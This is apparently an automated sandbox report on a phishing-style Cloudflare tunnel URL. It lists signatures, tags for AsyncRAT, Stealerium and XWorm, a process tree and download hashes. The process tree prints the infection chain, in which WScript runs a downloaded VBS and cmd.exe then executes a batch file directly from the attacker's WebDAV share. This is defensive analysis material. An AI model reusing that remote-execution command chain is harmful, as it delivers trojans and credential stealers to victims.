Analysis
-
max time kernel
126s -
max time network
365s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
18-11-2024 23:08
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://ni-olympic-forests-invoice.trycloudflare.com
Resource
win7-20240903-en
windows7-x64
10 signatures
1800 seconds
Behavioral task
behavioral2
Sample
https://ni-olympic-forests-invoice.trycloudflare.com
Resource
win10v2004-20241007-en
asyncratstealeriumxwormdefaultcollectiondiscoveryexecutionpersistenceprivilege_escalationratstealertrojan
windows10-2004-x64
37 signatures
1800 seconds
General
-
Target
https://ni-olympic-forests-invoice.trycloudflare.com
Score
3/10
Malware Config
Signatures
-
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe Token: SeShutdownPrivilege 2236 chrome.exe -
Suspicious use of FindShellTrayWindow 42 IoCs
pid Process 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe 2236 chrome.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2236 wrote to memory of 2168 2236 chrome.exe 30 PID 2236 wrote to memory of 2168 2236 chrome.exe 30 PID 2236 wrote to memory of 2168 2236 chrome.exe 30 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2768 2236 chrome.exe 32 PID 2236 wrote to memory of 2900 2236 chrome.exe 33 PID 2236 wrote to memory of 2900 2236 chrome.exe 33 PID 2236 wrote to memory of 2900 2236 chrome.exe 33 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 PID 2236 wrote to memory of 2920 2236 chrome.exe 34 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://ni-olympic-forests-invoice.trycloudflare.com1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2236 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef6619758,0x7fef6619768,0x7fef66197782⤵PID:2168
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1152 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:22⤵PID:2768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1516 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:82⤵PID:2900
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1592 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:82⤵PID:2920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2272 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:12⤵PID:2976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2284 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:12⤵PID:2800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=2644 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:22⤵PID:2000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3352 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:82⤵PID:2152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3624 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:82⤵PID:1552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1588 --field-trial-handle=1360,i,18053090923638116356,2348298018354017806,131072 /prefetch:82⤵PID:3048
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"2⤵PID:2536
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat3⤵PID:804
-
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:980
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
16B
MD5aefd77f47fb84fae5ea194496b44c67a
SHA1dcfbb6a5b8d05662c4858664f81693bb7f803b82
SHA2564166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611
SHA512b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3
-
Filesize
264KB
MD5f50f89a0a91564d0b8a211f8921aa7de
SHA1112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
-
Filesize
987B
MD5d45df13575d0f2fe09a077c5f7842ccb
SHA1f9397b906dea4d25abec747c645abc9815d44fac
SHA256ff5523c5a091f2c3e6f4b39b15ce24d6c6b1c5380f11ef937edf8db3577cecc5
SHA51274c9cc59b0b1f98e35bd7fca9174cf641a29b299a281b0ba538141f598e2d94041f19840136e0dfc9e72343f5178fd381bef3929dde1051fcb7252d7ba7648a9
-
Filesize
6KB
MD52b265b96cab94b49b4993374c9d48fca
SHA17e5e7be09cf6e7ea8d3d4d4078c65267bdc32e4e
SHA25658dad7b27844e0cc729d474f54f9ec9d751a8feba1b10b71e0d570a0340af0cb
SHA512986e6dc04a2db7aff31a8bdce23bbee0add710724a886ebb97a3c933f1b623c292ea1abb74e8ad2a1cb05a5ee5050691754610258249eba4c967a7d38d1964d1
-
Filesize
6KB
MD559bb2eb628997c70a64eb9f6680d0132
SHA1b7fd5b684c5ab95821eaecb74a1451d8f8301798
SHA256d8f82926e4d1974214167584107abda206c6fef442aa4b27123451e87bb64ed2
SHA512eb9252605ed812a95d2822f7ee7f48ebf91def40b88b192d16efcf5f04c0010df05f21d74cc9398cf0485d045741e41c1936fe2582eec703239016841a0c441e
-
Filesize
16B
MD518e723571b00fb1694a3bad6c78e4054
SHA1afcc0ef32d46fe59e0483f9a3c891d3034d12f32
SHA2568af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa
SHA51243bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2
-
Filesize
153B
MD5e45c2994fc24d339a19c076705f2c6f6
SHA157aff04be6884001ce827c18c082da6d3ad1f706
SHA2569583d347ef3e3592b3bd1457a9f7abe5aaf622d0c81ff80263eb977de287c358
SHA5129265325d96d27dc94636ffa7434c5286545dee1386e3294921f2a3a87719eb5ffca34e3953b8670cd7e0c5b156df736340c1e1e88ac0932f3bc028e5efc5a666